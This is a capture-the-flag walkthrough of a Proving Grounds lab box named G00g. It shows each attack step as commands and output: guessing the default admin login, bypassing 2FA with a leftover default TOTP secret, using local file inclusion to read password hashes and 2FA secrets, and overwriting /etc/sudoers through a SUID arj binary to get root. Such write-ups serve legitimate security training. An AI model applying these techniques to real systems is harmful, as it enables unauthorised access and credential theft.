G00g - OSPG

Read this in "about 11 minutes".

Summary of Result

In this walkthrough, we will exploit the target system by guessing weak credentials in the admin login web portal and bypassing two-factor authentication (2FA) with a default secret key. After that. the website introduces us to another vulnerability, Local File Inclusion (LFI). Abusing LFI to read system user, his password hash, and a 2FA secret key. Exploit the hash and the secret key to acquire initial access.

Locally enumerating divulges a misconfigured SUID binary. Taking advantage of the binary, we are able to escalate our privilege to the root level.


Attack Narrative

The attack will be generally split into three major categories:

  • Enumeration
  • Exploitation
  • Administrative Privilege Escalation


Enumeration

Nmap

We will start with a nmap scan.

$ sudo nmap -sV -p- -A -T4 -Pn -n 192.168.113.144
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-23 06:02 AEST
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38
  • Two services are opening on the target system: SSH and HTTP.


Web Enumeration

Let’s have a look at the web application → We are instantly blocked by the authentication protocol.

All we can do now is to try some common credentials: admin:admin, admin:password, root:root, and root:toor.

→ The first one (admin:admin) works perfectly and let us bypass the authentication portal.

Now, we are dealing with 2FA authentication prompt.

goog/2fa.png

Up to this point, we need to find a valid OTP token in order to bypass the 2FA. Otherwise, this is a dead end … Lucky for us, developers left a interesting in the page source.

[...]
<!-- itemir/apache_2fa -->

With a few researches, we found that the web server implements Apache Two-Factor (2FA) Authentication with Google Authenticator (apache_2fa by itemir), which can be found here.

Spending some time to read and comprehend its function.


Exploitation

At this point, we need to know that a secret key will give us the right permission to generate a valid OTP token.

Default 2FA secret key

The README.md file clearly demonstrates on how to use the tool.

...
**In order to obtain Authentication Token, download Google Authenticator for iOS or Android and create a profile by using ND4LKCSFMUQISO6CBZQATLDP  secret key** (there are many other applications that provide the same  capability with additional features, you can basically use any  application that supports TOTP). Once you define a profile, Google  Authenticator will create a token that you can use in this form.
If the test is successful, edit apache_credentials and tokens.json files and remove test_user
...

As we can see, there is a default test_user user and a default secret key,

ND4LKCSFMUQISO6CBZQATLDP

which is only used to test functions, after the test, delvelopers need to remove them.

Now, let us check if the developers make a critical mistake by using default secret key.

In order to set up OTP, try the followings:

  1. Download Google Authenticator app.
  2. Create a new profile.
  3. Copy and paste the above secret key.
  4. Click Save/Done.

After setup is done, we should now have a 6-digit OTP password generated randomly every 30 seconds. To test our theory, we copy and paste the token into the prompt.

It acutally works! As we can see, we are successfully bypass the 2FA because the developers indeed forgot to change the secret key!.


LFI Enumeration

Now, we are logged in, there is drop down menu with three functions ps aux, w, and uptime. Poking around these functions, clicking “Run” → “View Result” will redirects us to a new page /spool/viewresult.php?view=[NAME].txt … this yields an output of the previous functions.

As the viewresult.php seems to be vulnerable to LFI, let us try fetching the /etc/passwd file.

http://192.168.113.144/spool/viewresult.php?view=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

[...]

Debian-exim:x:106:113::/var/spool/exim4:/usr/sbin/nologin
**fox:x:1000:1000::/home/fox:/bin/sh**

The output reveals a fox user on this system.

Fail2ban

As we try to brute force SSH password of fox user, we’ll notice that the server implements a security control that blocks any IP address failed to provide a correct password for couple minutes.

  • First three failed attempts.
$ ssh fox@192.168.113.144
Password: 
Password: 
Password: 
fox@192.168.113.144's password: 
^C
  • Then login again.
$ ssh fox@192.168.113.144
ssh: connect to host 192.168.113.144 port 22: Connection refused

This happened because the server carries out a fail2ban service, it is commonly used to mitigate bruteforcing attack against SSH protocol.

We can confirm this by looking at the result of the ps aux function in the admin web portal.

...
root       413  0.0  0.5  48228 10576 ?        Ss   15:23   0:00 ...
root       426  0.0  0.3  19308  6424 ?        Ss   15:23   0:00 /lib/systemd/systemd-logind
**root       433  0.0  1.0 250340 20532 ?        Ssl  15:23   0:02 /usr/bin/python3 /usr/bin/fail2ban-server -xf start**
root       448  0.0  0.0   5612  1744 tty1     Ss+  15:23   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
...

Back to the 2FA. In the README.md file of itemir/apache_2fa, he also states:

...
In order to obtain Authentication Token, download Google Authenticator for iOS or Android and create a profile by using ND4LKCSFMUQISO6CBZQATLDP  secret key (there are many other applications that provide the same  capability with additional features, you can basically use any  application that supports TOTP). Once you define a profile, Google  Authenticator will create a token that you can use in this form.
**If the test is successful, edit apache_credentials and tokens.json files and remove test_user**
...

It seems like the apache_credentials and tokens.json files might contain password hashes of users and a secret key of a current user.


Abusing LFI to read critical files.

  • The apache_credentials file.
http://192.168.113.144/spool/viewresult.php?view=/opt/apache_2fa/apache_credentials

admin:$apr1$pa.RhgPO$18S/xeIW24UvBgjVJJXiC1
fox:$apr1$JWr/q2vH$KXhhk03ukqkoXjbOIoUVp/
  • The tokens.json file.
http://192.168.113.144/spool/viewresult.php?view=/opt/apache_2fa/tokens.json
{
  "admin": "ND4LKCSFMUQISO6CBZQATLDP",
  "fox": "RTW2ARWLJZRWUCN54UO22FDQ6I"
}

As expected, we successfully acquire the hash password and a secret key of user fox. → Try to crack it, we easily get fox credentials → fox:THERESE → Use it to login to the SSH.

$ ssh fox@192.168.113.144
Password: 
Verification code:

With the same OTP technique but use fox secret key this time, we also bypass the SSH 2FA and successfully login as fox.


Administrative Privilege Escaltion

SUID binary

After obtaning SSH shell, we’ll now enumerate the local target. Lets start with SUID sticky bit binary.

fox@g00g:~$ find / -perm -u=s -exec ls -al {} \; 2>/dev/null
...
[...]
-rwsr-xr-x 1 root root 157192 Jan 20  2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 84016 Jul 27  2018 /usr/bin/gpasswd
**-rwsr-sr-x 1 root root 386091 Feb 10  2019 /usr/bin/arj**

The SUID /usr/bin/arj binary looks appealing to us. Conducting a few researches, arj gives user permission to read and write to a file. Since it is set with SUID sticky bit, we essentially can manipulate any file, included all system-level files.

We first have a look into its options.

fox@g00g:~$ arj
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
Processing archive: /usr/bin/arj
Archive created: 2019-02-10 14:50:08, modified: 2019-02-10 14:50:08
  
List of frequently used commands and switches.  Type ARJ -? for more help.
Usage:     ARJ <command> [-<sw> [-<sw>...]] <archive_name> [<file_names>...]
Examples:  ARJ a -e archive, ARJ e archive, ARJ l archive *.doc
<Commands>
 ac: Add Chapter to chapter archive     l: List contents of archive
  a: Add files to archive               m: Move files to archive
  c: Comment archive files              t: Test integrity of archive
  d: Delete files from archive          u: Update files to archive
  e: Extract files from archive         v: Verbosely list contents of archive
  f: Freshen files in archive           x: eXtract files with full pathname
<Switches>
  c: skip time-stamp Check              r: Recurse subdirectories
  e: Exclude paths from names           u: Update files (new and newer)
  f: Freshen existing files             v: enable multiple Volumes
  g: Garble with password               w: assign Work directory
  i: with no progress Indicator         x: eXclude selected files
  m: with Method 0, 1, 2, 3, 4          y: assume Yes on all queries
  n: only New files (not exist)        hk: enable ARJ-PROTECT damage protection


SUID Abuse

Our current attack vector is to modify the /etc/sudoers file and write a new sudo permission for our fox user to execute any command as root. The following steps will reproduce the attack vector.

  1. Archive the /etc/sudoers file.
    fox@g00g:/dev/shm/privesc$ arj a "sudoers_fox" "/etc/sudoers"
    ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
    Creating archive  : a.arj
    Adding    /etc/sudoers                 53.2%    
      1 file(s)
    
  2. Read the archive.
    fox@g00g:/dev/shm/privesc$ arj p sudoers_fox.arj
    ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
    Processing archive: sudoers_fox.arj
    Archive created: 2021-07-22 18:02:33, modified: 2021-07-22 18:02:33
    Extracting etc/sudoers                to STDOUT  #  0%
    # This file MUST be edited with the 'visudo' command as root.
    #
    # Please consider adding local content in /etc/sudoers.d/ instead of
    # directly modifying this file.
    #
    # See the man page for details on how to write a sudoers file.
    #
    Defaults env_reset
    Defaults mail_badpass
    Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    # Host alias specification
    # User alias specification
    # Cmnd alias specification
    # User privilege specification
    root ALL=(ALL:ALL) ALL
    # Allow members of group sudo to execute any command
    %sudo ALL=(ALL:ALL) ALL
    # See sudoers(5) for more information on "#include" directives:
    #includedir /etc/sudoers.d
    OK        
      1 file(s)
    
  3. Create and modify the contents of new sudoers based upon sudoers_fox’s.
    fox@g00g:/dev/shm/privesc$ nano sudoers
    ...
    Defaults env_reset
    Defaults mail_badpass
    Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ...
    # User privilege specification
    root ALL=(ALL:ALL) ALL
    fox ALL=(ALL:ALL) NOPASSWD:ALL
    # Allow members of group sudo to execute any command
    %sudo ALL=(ALL:ALL) ALL
    # See sudoers(5) for more information on "#include" directives:
    #includedir /etc/sudoers.d
    
  4. Archive newly created sudoers.
    fox@g00g:/dev/shm/privesc$ arj a "sudoers" "sudoers"
    ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
    Creating archive  : sudoers.arj
    Adding    sudoers_fox                  53.8%    
      1 file(s)
    
  5. Write the new sudoers to /etc.
    fox@g00g:/dev/shm/privesc$ arj e "sudoers.arj" "/etc"
    ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.
    Processing archive: sudoers.arj
    Archive created: 2021-07-22 18:12:43, modified: 2021-07-22 18:12:43
    ARJ        704 21-07-22 18:12:24, DISK        669 20-02-02 02:41:42
    /etc/sudoers               exists, Overwrite? y
    Extracting sudoers                    to /etc/sudoers                OK        
      1 file(s)
    

Successful exploit will grant us permission to execute any sudo command under the root privilege without providing any password.

root@g00g:~# id
uid=0(root) gid=0(root) groups=0(root)